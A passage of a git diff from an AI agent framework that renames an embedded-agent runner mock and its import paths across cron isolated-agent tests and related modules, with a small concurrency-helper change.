LiveSessionModelSwitchError({ provider: "anthropic", @@ -224,7 +224,7 @@ describe("runCronIsolatedAgentTurn — LiveSessionModelSwitchError retry (#57206 const result = await runCronIsolatedAgentTurn(makeParams()); expect(result.status).toBe("ok"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(2); const retryParams = requireEmbeddedAgentCall(1); expect(retryParams.provider).toBe("anthropic"); expect(retryParams.model).toBe("claude-sonnet-4-6"); diff --git a/src/cron/isolated-agent/run.message-tool-policy.test.ts b/src/cron/isolated-agent/run.message-tool-policy.test.ts index 4d9df708e2c..44cfb23ea9e 100644 --- a/src/cron/isolated-agent/run.message-tool-policy.test.ts +++ b/src/cron/isolated-agent/run.message-tool-policy.test.ts @@ -18,7 +18,7 @@ import { resolveCronDeliveryPlanMock, resolveDeliveryTargetMock, restoreFastTestEnv, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, } from "./run.test-harness.js"; const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); @@ -144,7 +144,7 @@ function getMockCallArg( function expectEmbeddedRunFields(expected: Record): Record { return expectRecordFields( - getMockCallArg(runEmbeddedPiAgentMock, 0, 0, "embedded run"), + getMockCallArg(runEmbeddedAgentMock, 0, 0, "embedded run"), expected, "embedded run params", ); @@ -185,7 +185,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(plan); await runCronIsolatedAgentTurn(makeParams()); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: true, forceMessageTool: false, @@ -201,7 +201,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(plan); await runCronIsolatedAgentTurn(makeParams()); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: false, forceMessageTool: false, @@ -226,7 +226,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { }); expect(resolveDeliveryTargetMock).toHaveBeenCalledTimes(1); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: false, forceMessageTool: false, @@ -242,7 +242,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { }) { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan()); - runEmbeddedPiAgentMock.mockResolvedValue(makeMessageToolRunResult(options.sentTargets)); + runEmbeddedAgentMock.mockResolvedValue(makeMessageToolRunResult(options.sentTargets)); const result = await runCronIsolatedAgentTurn({ ...makeParams(), @@ -385,7 +385,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { }); expect(resolveDeliveryTargetMock).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const embeddedRun = expectEmbeddedRunFields({ disableMessageTool: false, forceMessageTool: false, @@ -422,7 +422,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { }), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: false, forceMessageTool: false, @@ -466,7 +466,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { } as never, }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: false, messageChannel: "topicchat", @@ -503,7 +503,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { accountId: undefined, error: undefined, }); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([ { tool: "message", provider: "topicchat", to: "room#42", threadId: "42" }, ]), @@ -565,7 +565,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { }); expect(resolveDeliveryTargetMock).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const embeddedRun = expectEmbeddedRunFields({ disableMessageTool: false, forceMessageTool: false, @@ -601,7 +601,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { await executor.runPrompt("send a message"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ messageChannel: "topicchat", agentAccountId: "ops", @@ -624,7 +624,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { await executor.runPrompt("send a message"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ messageChannel: "topicchat", agentAccountId: "ops", @@ -652,7 +652,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { job: makeAnnounceMessageToolJob(), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ sourceReplyDeliveryMode: undefined, forceMessageTool: false, @@ -671,7 +671,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { job: makeAnnounceMessageToolJob(), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expect(expectEmbeddedRunFields({}).execOverrides).toBeUndefined(); }); @@ -691,7 +691,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { }), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expect(expectEmbeddedRunFields({}).execOverrides).toBeUndefined(); }); @@ -712,7 +712,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { await runCronIsolatedAgentTurn(makeParams()); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: false }); }); @@ -780,7 +780,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { it("does not dispatch announce delivery for fatal error payloads", async () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan()); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [ { text: 'Codex error: {"type":"error","error":{"type":"server_error"}}', @@ -820,7 +820,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { it("cleans up deleteAfterRun sessions when suppressing fatal error announces", async () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan()); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "provider failed", isError: true }], meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); @@ -866,7 +866,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { it("rewrites generic message provider to resolved channel in delivery trace", async () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan()); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([{ tool: "message", provider: "message", to: "123" }]), ); @@ -888,7 +888,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan({ accountId: "bot-a" })); resolveDeliveryTargetMock.mockResolvedValue(makeResolvedAnnounceTarget({ accountId: "bot-a" })); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([ { tool: "message", provider: "message", to: "123", accountId: "bot-a" }, ]), @@ -912,7 +912,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan({ accountId: "bot-a" })); resolveDeliveryTargetMock.mockResolvedValue(makeResolvedAnnounceTarget({ accountId: "bot-a" })); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([{ tool: "message", provider: "message", to: "123" }]), ); @@ -934,7 +934,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan({ accountId: "bot-a" })); resolveDeliveryTargetMock.mockResolvedValue(makeResolvedAnnounceTarget({ accountId: "bot-a" })); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([ { tool: "message", provider: "message", to: "123", accountId: "bot-b" }, ]), @@ -970,7 +970,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mode: "implicit", error: new Error("sessionKey is required to resolve delivery.channel=last"), }); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([{ tool: "message", provider: "messagechat", to: "123" }]), ); @@ -1016,7 +1016,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mode: "none", channel: "last", }); - runEmbeddedPiAgentMock.mockResolvedValue( + runEmbeddedAgentMock.mockResolvedValue( makeMessageToolRunResult([{ tool: "message", provider: "messagechat", to: "123" }]), ); @@ -1053,7 +1053,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); mockPendingMessagePresentationWarningOutcome(); resolveCronDeliveryPlanMock.mockReturnValue(makeAnnounceDeliveryPlan()); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "Final cron report" }, { text: "⚠️ ✉️ Message failed", isError: true }], meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); @@ -1077,7 +1077,7 @@ describe("runCronIsolatedAgentTurn message tool policy", () => { mockRunCronFallbackPassthrough(); mockPendingMessagePresentationWarningOutcome(); resolveCronDeliveryPlanMock.mockReturnValue({ requested: false, mode: "none" }); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "Final cron report" }, { text: "⚠️ ✉️ Message failed", isError: true }], meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); @@ -1127,7 +1127,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { await runCronIsolatedAgentTurn(makeParams()); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).toContain("Use the message tool"); expect(prompt).toContain("will be delivered automatically"); @@ -1151,7 +1151,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { ), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).not.toContain("Use the message tool"); expect(prompt).toContain("Return your response as plain text"); @@ -1174,7 +1174,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { ), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); expectEmbeddedRunFields({ disableMessageTool: false, forceMessageTool: false, @@ -1202,7 +1202,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { ), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).toContain("Use the message tool"); expect(prompt).toContain("will be delivered automatically"); @@ -1225,7 +1225,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { ), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).toContain("Use the message tool"); expect(prompt).toContain("will be delivered automatically"); @@ -1248,7 +1248,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { ), }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).toContain("Use the message tool"); expect(prompt).toContain("will be delivered automatically"); @@ -1260,7 +1260,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { await runCronIsolatedAgentTurn(makeParams()); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).not.toContain("Return your response as plain text"); expect(prompt).not.toContain("it will be delivered automatically"); @@ -1280,7 +1280,7 @@ describe("runCronIsolatedAgentTurn delivery instruction", () => { await runCronIsolatedAgentTurn(makeParams()); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const prompt = expectEmbeddedRunPrompt(); expect(prompt).not.toMatch(/\bsummary\b/i); }); diff --git a/src/cron/isolated-agent/run.payload-fallbacks.test.ts b/src/cron/isolated-agent/run.payload-fallbacks.test.ts index d6ff517af0d..b529f1b0114 100644 --- a/src/cron/isolated-agent/run.payload-fallbacks.test.ts +++ b/src/cron/isolated-agent/run.payload-fallbacks.test.ts @@ -11,7 +11,7 @@ import { resolveConfiguredModelRefMock, resolveAgentModelFallbacksOverrideMock, runCliAgentMock, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runWithModelFallbackMock, } from "./run.test-harness.js"; @@ -38,7 +38,7 @@ function requireModelFallbackRequest(): { function requireEmbeddedRunRequest(): { modelFallbacksOverride?: string[]; } { - const request = runEmbeddedPiAgentMock.mock.calls[0]?.[0] as + const request = runEmbeddedAgentMock.mock.calls[0]?.[0] as | { modelFallbacksOverride?: string[]; } @@ -170,8 +170,8 @@ describe("runCronIsolatedAgentTurn — payload.fallbacks", () => { "openai-codex/gpt-5.2", "zai/glm-5", ]); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock.mock.calls[0]?.[0]).toMatchObject({ modelFallbacksOverride: ["openai-codex/gpt-5.2", "zai/glm-5"], }); }); diff --git a/src/cron/isolated-agent/run.session-key-isolation.test.ts b/src/cron/isolated-agent/run.session-key-isolation.test.ts index 8a6cb64a275..b3b27370c97 100644 --- a/src/cron/isolated-agent/run.session-key-isolation.test.ts +++ b/src/cron/isolated-agent/run.session-key-isolation.test.ts @@ -11,7 +11,7 @@ import { mockRunCronFallbackPassthrough, resolveCronSessionMock, runCliAgentMock, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, } from "./run.test-harness.js"; const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); @@ -59,8 +59,8 @@ describe("runCronIsolatedAgentTurn isolated session identity", () => { ) as { forceNew?: boolean; sessionKey?: string }; expect(sessionRequest.forceNew).toBe(true); expect(sessionRequest.sessionKey).toBe("agent:default:cron:daily-monitor"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const runRequest = requireFirstMockArg(runEmbeddedPiAgentMock, "runEmbeddedPiAgentMock") as { + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const runRequest = requireFirstMockArg(runEmbeddedAgentMock, "runEmbeddedAgentMock") as { sessionId?: string; sessionKey?: string; bootstrapContextMode?: string; @@ -95,8 +95,8 @@ describe("runCronIsolatedAgentTurn isolated session identity", () => { expect(result.status).toBe("ok"); expect(result.sessionKey).toBe("agent:default:project-alpha-monitor"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const runRequest = requireFirstMockArg(runEmbeddedPiAgentMock, "runEmbeddedPiAgentMock") as { + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const runRequest = requireFirstMockArg(runEmbeddedAgentMock, "runEmbeddedAgentMock") as { sessionId?: string; sessionKey?: string; bootstrapContextMode?: string; diff --git a/src/cron/isolated-agent/run.test-harness.ts b/src/cron/isolated-agent/run.test-harness.ts index 2c34c6c6207..63438bb5e50 100644 --- a/src/cron/isolated-agent/run.test-harness.ts +++ b/src/cron/isolated-agent/run.test-harness.ts @@ -51,7 +51,7 @@ export const resolveConfiguredModelRefMock = createMock(); export const resolveHooksGmailModelMock = createMock(); export const resolveThinkingDefaultMock = createMock(); export const runWithModelFallbackMock = createMock(); -export const runEmbeddedPiAgentMock = createMock(); +export const runEmbeddedAgentMock = createMock(); export const runCliAgentMock = createMock(); export const lookupContextTokensMock = createMock(); export const getCliSessionIdMock = createMock(); @@ -77,7 +77,7 @@ export const ensureRuntimePluginsLoadedMock = createMock(); const resolveBootstrapWarningSignaturesSeenMock = createMock(); const resolveCronStyleNowMock = createMock(); -const resolveCronAgentLaneMock = createMock(); +export const resolveCronAgentLaneMock = createMock(); const resolveAgentTimeoutMsMock = createMock(); const deriveSessionTotalTokensMock = createMock(); const hasNonzeroUsageMock = createMock(); @@ -144,7 +144,7 @@ vi.mock("./run-model-catalog.runtime.js", () => ({ loadModelCatalog: loadModelCatalogMock, })); -vi.mock("./run-runtime-plugins.runtime.js", () => ({ +vi.mock("../../plugins/runtime-plugins.runtime.js", () => ({ ensureRuntimePluginsLoaded: ensureRuntimePluginsLoadedMock, })); @@ -196,7 +196,7 @@ vi.mock("./run-execution.runtime.js", () => ({ LiveSessionModelSwitchError, runWithModelFallback: runWithModelFallbackMock, isCliProvider: isCliProviderMock, - runEmbeddedPiAgent: runEmbeddedPiAgentMock, + runEmbeddedAgent: runEmbeddedAgentMock, countActiveDescendantRuns: countActiveDescendantRunsMock, listDescendantRunsForRequester: listDescendantRunsForRequesterMock, normalizeVerboseLevel: normalizeVerboseLevelMock, @@ -212,7 +212,7 @@ vi.mock("./run-auth-profile.runtime.js", () => ({ vi.mock("./run-embedded.runtime.js", () => ({ resolveFastModeState: resolveFastModeStateMock, resolveCronAgentLane: resolveCronAgentLaneMock, - runEmbeddedPiAgent: runEmbeddedPiAgentMock, + runEmbeddedAgent: runEmbeddedAgentMock, })); vi.mock("./run-subagent-registry.runtime.js", () => ({ @@ -224,7 +224,7 @@ vi.mock("../../agents/cli-runner.runtime.js", () => ({ setCliSessionId: vi.fn(), })); -vi.mock("../../agents/pi-bundle-mcp-tools.js", () => ({ +vi.mock("../../agents/agent-bundle-mcp-tools.js", () => ({ retireSessionMcpRuntime: retireSessionMcpRuntimeMock, })); @@ -417,8 +417,8 @@ function resetRunExecutionMocks(): void { registerAgentRunContextMock.mockReturnValue(undefined); runWithModelFallbackMock.mockReset(); runWithModelFallbackMock.mockResolvedValue(makeDefaultModelFallbackResult()); - runEmbeddedPiAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockResolvedValue(makeDefaultEmbeddedResult()); + runEmbeddedAgentMock.mockReset(); + runEmbeddedAgentMock.mockResolvedValue(makeDefaultEmbeddedResult()); runCliAgentMock.mockReset(); getCliSessionIdMock.mockReturnValue(undefined); countActiveDescendantRunsMock.mockReset(); diff --git a/src/cron/isolated-agent/run.tools-allow.test.ts b/src/cron/isolated-agent/run.tools-allow.test.ts index 3cabba059da..09eb7881805 100644 --- a/src/cron/isolated-agent/run.tools-allow.test.ts +++ b/src/cron/isolated-agent/run.tools-allow.test.ts @@ -4,7 +4,7 @@ import { loadRunCronIsolatedAgentTurn, resetRunCronIsolatedAgentTurnHarness, resolveDeliveryTargetMock, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runWithModelFallbackMock, } from "./run.test-harness.js"; @@ -49,14 +49,14 @@ function requireEmbeddedAgentCall(): { jobId?: string; toolsAllow?: string[]; } { - const call = runEmbeddedPiAgentMock.mock.calls[0]?.[0] as + const call = runEmbeddedAgentMock.mock.calls[0]?.[0] as | { jobId?: string; toolsAllow?: string[]; } | undefined; if (!call) { - throw new Error("Expected embedded PI agent call for toolsAllow passthrough"); + throw new Error("Expected embedded OpenClaw agent call for toolsAllow passthrough"); } return call; } @@ -95,7 +95,7 @@ describe("runCronIsolatedAgentTurn toolsAllow passthrough", () => { async () => { await runCronIsolatedAgentTurn(makeParamsWithToolsAllow(["cron"])); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const call = requireEmbeddedAgentCall(); expect(call.jobId).toBe("tools-allow"); expect(call.toolsAllow).toEqual(["cron"]); @@ -108,7 +108,7 @@ describe("runCronIsolatedAgentTurn toolsAllow passthrough", () => { async () => { await runCronIsolatedAgentTurn(makeParamsWithToolsAllow([" CRON "])); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const call = requireEmbeddedAgentCall(); expect(call.jobId).toBe("tools-allow"); expect(call.toolsAllow).toEqual([" CRON "]); @@ -121,7 +121,7 @@ describe("runCronIsolatedAgentTurn toolsAllow passthrough", () => { async () => { await runCronIsolatedAgentTurn(makeParamsWithToolsAllow(["maniple__check_idle_workers"])); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); const call = requireEmbeddedAgentCall(); expect(call.toolsAllow).toEqual(["maniple__check_idle_workers"]); }, diff --git a/src/cron/isolated-agent/run.ts b/src/cron/isolated-agent/run.ts index ee383b4170b..65ee0623579 100644 --- a/src/cron/isolated-agent/run.ts +++ b/src/cron/isolated-agent/run.ts @@ -1,7 +1,7 @@ +import { retireSessionMcpRuntime } from "../../agents/agent-bundle-mcp-tools.js"; import { hasAnyAuthProfileStoreSource } from "../../agents/auth-profiles/source-check.js"; import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import { listOpenAIAuthProfileProvidersForAgentRuntime } from "../../agents/openai-codex-routing.js"; -import { retireSessionMcpRuntime } from "../../agents/pi-bundle-mcp-tools.js"; import type { SkillSnapshot } from "../../agents/skills.js"; import { expandToolGroups, normalizeToolName } from "../../agents/tool-policy.js"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; @@ -111,7 +111,7 @@ const cronModelPreflightRuntimeLoader = createLazyImportLoader( () => import("./model-preflight.runtime.js"), ); const runtimePluginsLoader = createLazyImportLoader( - () => import("./run-runtime-plugins.runtime.js"), + () => import("../../plugins/runtime-plugins.runtime.js"), ); async function loadSessionStoreRuntime() { diff --git a/src/cron/run-log.ts b/src/cron/run-log.ts index 03e43e43aea..3f999fe210f 100644 --- a/src/cron/run-log.ts +++ b/src/cron/run-log.ts @@ -1,8 +1,8 @@ import fsSync from "node:fs"; import fs from "node:fs/promises"; import path from "node:path"; +import type { FailoverReason } from "../agents/embedded-agent-helpers/types.js"; import { resolveFailoverReasonFromError } from "../agents/failover-error.js"; -import type { FailoverReason } from "../agents/pi-embedded-helpers/types.js"; import { parseByteSize } from "../cli/parse-bytes.js"; import type { CronConfig } from "../config/types.cron.js"; import { appendRegularFile, isPathInside, pathExists, root as fsRoot } from "../infra/fs-safe.js"; diff --git a/src/cron/service/timer.ts b/src/cron/service/timer.ts index a221849448a..89cf4ba366d 100644 --- a/src/cron/service/timer.ts +++ b/src/cron/service/timer.ts @@ -1,6 +1,5 @@ +import { formatEmbeddedAgentExecutionPhase } from "../../agents/embedded-agent-runner/execution-phase.js"; import { resolveFailoverReasonFromError } from "../../agents/failover-error.js"; -import { formatEmbeddedAgentExecutionPhase } from "../../agents/pi-embedded-runner/execution-phase.js"; -import { resolveCronMaxConcurrentRuns } from "../../config/cron-limits.js"; import { readSessionEntry } from "../../config/sessions/store-load.js"; import type { SessionEntry } from "../../config/sessions/types.js"; import type { CronConfig } from "../../config/types.cron.js"; @@ -366,7 +365,11 @@ async function cleanupTimedOutCronAgentRun( } function resolveRunConcurrency(state: CronServiceState): number { - return resolveCronMaxConcurrentRuns(state.deps.cronConfig); + const raw = state.deps.cronConfig?.maxConcurrentRuns; + if (typeof raw !== "number" || !Number.isFinite(raw)) { + return 1; + } + return Math.max(1, Math.floor(raw)); } function timeoutErrorMessage(execution?: CronAgentExecutionStarted): string { const phase = formatCronAgentExecutionPhase(execution); diff --git a/src/cron/types.ts b/src/cron/types.ts index 21dffb4b2b3..d7758077286 100644 --- a/src/cron/types.ts +++ b/src/cron/types.ts @@ -1,5 +1,5 @@ -import type { FailoverReason } from "../agents/pi-embedded-helpers/types.js"; -import type { EmbeddedAgentExecutionPhase } from "../agents/pi-embedded-runner/execution-phase.js"; +import type { FailoverReason } from "../agents/embedded-agent-helpers/types.js"; +import type { EmbeddedAgentExecutionPhase } from "../agents/embedded-agent-runner/execution-phase.js"; import type { ChannelId } from "../channels/plugins/types.public.js"; import type { HookExternalContentSource } from "../security/external-content.js"; import type { CronJobBase } from "./types-shared.js"; diff --git a/src/extensionAPI.ts b/src/extensionAPI.ts index 9e354998fa6..ab19e11f85d 100644 --- a/src/extensionAPI.ts +++ b/src/extensionAPI.ts @@ -24,7 +24,11 @@ export { resolveAgentDir, resolveAgentWorkspaceDir } from "./agents/agent-scope. export { DEFAULT_MODEL, DEFAULT_PROVIDER } from "./agents/defaults.js"; export { resolveAgentIdentity } from "./agents/identity.js"; export { resolveThinkingDefault } from "./agents/model-selection.js"; -export { runEmbeddedPiAgent } from "./agents/pi-embedded.js"; +export { + runEmbeddedAgent, + /** @deprecated Use runEmbeddedAgent. */ + runEmbeddedAgent as runEmbeddedPiAgent, +} from "./agents/embedded-agent.js"; export { resolveAgentTimeoutMs } from "./agents/timeout.js"; export { ensureAgentWorkspace } from "./agents/workspace.js"; export { diff --git a/src/flows/doctor-core-checks.runtime.test.ts b/src/flows/doctor-core-checks.runtime.test.ts index 9bc9eb6865f..97dd57b8f76 100644 --- a/src/flows/doctor-core-checks.runtime.test.ts +++ b/src/flows/doctor-core-checks.runtime.test.ts @@ -21,11 +21,11 @@ vi.mock("../agents/model-selection.js", async (importOriginal) => ({ resolveDefaultModelForAgent: mocks.resolveDefaultModelForAgent, })); -vi.mock("../agents/pi-bundle-mcp-tools.js", () => ({ +vi.mock("../agents/agent-bundle-mcp-tools.js", () => ({ createBundleMcpToolRuntime: mocks.createBundleMcpToolRuntime, })); -vi.mock("../agents/pi-tools.js", () => ({ +vi.mock("../agents/agent-tools.js", () => ({ createOpenClawCodingTools: mocks.createOpenClawCodingTools, })); diff --git a/src/flows/doctor-core-checks.runtime.ts b/src/flows/doctor-core-checks.runtime.ts index 44eda6f7c5a..5828d969358 100644 --- a/src/flows/doctor-core-checks.runtime.ts +++ b/src/flows/doctor-core-checks.runtime.ts @@ -1,4 +1,5 @@ import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { createOpenClawCodingTools } from "../agents/agent-tools.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../agents/defaults.js"; import { findModelInCatalog, @@ -7,10 +8,9 @@ import { } from "../agents/model-catalog.js"; import { resolveDefaultModelForAgent } from "../agents/model-selection.js"; import { supportsModelTools } from "../agents/model-tool-support.js"; -import { createBundleMcpToolRuntime } from "../agents/pi-bundle-mcp-tools.js"; -import { applyFinalEffectiveToolPolicy } from "../agents/pi-embedded-runner/effective-tool-policy.js"; -import { shouldCreateBundleMcpRuntimeForAttempt } from "../agents/pi-embedded-runner/run/attempt-tool-construction-plan.js"; -import { createOpenClawCodingTools } from "../agents/pi-tools.js"; +import { createBundleMcpToolRuntime } from "../agents/agent-bundle-mcp-tools.js"; +import { applyFinalEffectiveToolPolicy } from "../agents/embedded-agent-runner/effective-tool-policy.js"; +import { shouldCreateBundleMcpRuntimeForAttempt } from "../agents/embedded-agent-runner/run/attempt-tool-construction-plan.js"; import { normalizeAgentRuntimeTools } from "../agents/runtime-plan/tools.js"; import { buildWorkspaceSkillStatus, type SkillStatusEntry } from "../agents/skills-status.js"; import { diff --git a/src/flows/doctor-core-checks.ts b/src/flows/doctor-core-checks.ts index 6c9edeaa62f..d259eda9f7d 100644 --- a/src/flows/doctor-core-checks.ts +++ b/src/flows/doctor-core-checks.ts @@ -288,7 +288,7 @@ const bootstrapSizeCheck: HealthCheck = { await import("../agents/bootstrap-budget.js"); const { resolveBootstrapContextForRun } = await import("../agents/bootstrap-files.js"); const { resolveBootstrapMaxChars, resolveBootstrapTotalMaxChars } = - await import("../agents/pi-embedded-helpers.js"); + await import("../agents/embedded-agent-helpers.js"); const workspaceDir = resolveAgentWorkspaceDir(ctx.cfg, resolveDefaultAgentId(ctx.cfg)); const { bootstrapFiles, contextFiles } = await resolveBootstrapContextForRun({ workspaceDir, diff --git a/src/flows/doctor-tool-result-cap-advice.ts b/src/flows/doctor-tool-result-cap-advice.ts index d768a1fac4c..c4a4c871846 100644 --- a/src/flows/doctor-tool-result-cap-advice.ts +++ b/src/flows/doctor-tool-result-cap-advice.ts @@ -1,7 +1,7 @@ import { 